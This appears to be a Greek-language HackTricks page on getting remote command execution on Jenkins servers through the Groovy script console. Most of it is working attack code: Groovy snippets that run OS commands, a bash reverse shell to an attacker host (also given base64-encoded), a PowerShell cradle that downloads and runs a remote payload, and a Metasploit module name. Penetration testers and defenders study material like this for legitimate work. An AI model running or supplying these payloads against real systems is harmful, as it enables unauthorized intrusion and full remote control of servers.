Jenkins RCE with Groovy Script

Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Jenkins RCE με Groovy Script

Αυτό είναι λιγότερο θορυβώδες από το να δημιουργήσετε ένα νέο έργο στο Jenkins

  1. Μεταβείτε στο path_jenkins/script

  2. Εντός του πλαισίου κειμένου εισαγάγετε το script

def process = "PowerShell.exe <WHATEVER>".execute()
println "Found text ${process.text}"

Μπορείτε να εκτελέσετε μια εντολή χρησιμοποιώντας: cmd.exe /c dir

Στο linux μπορείτε να κάνετε: "ls /".execute().text

Εάν χρειάζεστε να χρησιμοποιήσετε εισαγωγικά και μονά εισαγωγικά μέσα στο κείμενο. Μπορείτε να χρησιμοποιήσετε """PAYLOAD""" (τριπλά διπλά εισαγωγικά) για να εκτελέσετε το φορτίο.

Ένα άλλο χρήσιμο groovy script είναι (αντικαταστήστε [ΕΙΣΑΓΩΓΗ ΕΝΤΟΛΗΣ]):

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = '[INSERT COMMAND]'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

Αντίστροφη κέλυφος σε Linux

Για να εκτελέσετε ένα αντίστροφο κέλυφος σε ένα σύστημα Linux, μπορείτε να χρησιμοποιήσετε την ακόλουθη μέθοδο:

  1. Δημιουργήστε έναν ακροατήριο σε έναν εξωτερικό διακομιστή. Μπορείτε να χρησιμοποιήσετε την εντολή nc -lvp <port> για να δημιουργήσετε τον ακροατήριο σε ένα συγκεκριμένο θύρα.

  2. Δημιουργήστε ένα αντίστροφο κέλυφος χρησιμοποιώντας την εντολή bash -i >& /dev/tcp/<attacker_ip>/<port> 0>&1. Αντικαταστήστε την <attacker_ip> με την διεύθυνση IP του εξωτερικού διακομιστή και την <port> με την θύρα που έχετε ορίσει για τον ακροατήριο.

  3. Εκτελέστε την εντολή κέλυφους στον εξωτερικό διακομιστή για να αρχίσει η ακρόαση στη συγκεκριμένη θύρα.

  4. Όταν ο στόχος εκτελέσει την εντολή αντίστροφου κελύφους, θα συνδεθεί αυτόματα με τον εξωτερικό διακομιστή και θα έχετε πρόσβαση στο σύστημα του.

Αυτή η τεχνική σας επιτρέπει να αποκτήσετε αντίστροφο κέλυφος σε ένα σύστημα Linux και να αποκτήσετε πλήρη έλεγχο επί του συστήματος από απόσταση. Είναι σημαντικό να σημειωθεί ότι η χρήση αυτής της τεχνικής χωρίς την έγκριση του νόμιμου κατόχου του συστήματος αποτελεί παράνομη δραστηριότητα.

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMi80MzQzIDA+JjEnCg==}|{base64,-d}|{bash,-i}'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

Αντίστροφη κέλυφος σε Windows

Μπορείτε να προετοιμάσετε έναν HTTP διακομιστή με ένα αντίστροφο κέλυφος PS και να χρησιμοποιήσετε το Jeking για να το κατεβάσετε και να το εκτελέσετε:

scriptblock="iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1:8000/payload')"
echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0
cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc <BASE64>

Σενάριο

Μπορείτε να αυτοματοποιήσετε αυτήν τη διαδικασία με αυτό το σενάριο.

Μπορείτε να χρησιμοποιήσετε το MSF για να λάβετε ένα αντίστροφο κέλυφος:

msf> use exploit/multi/http/jenkins_script_console
Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Last updated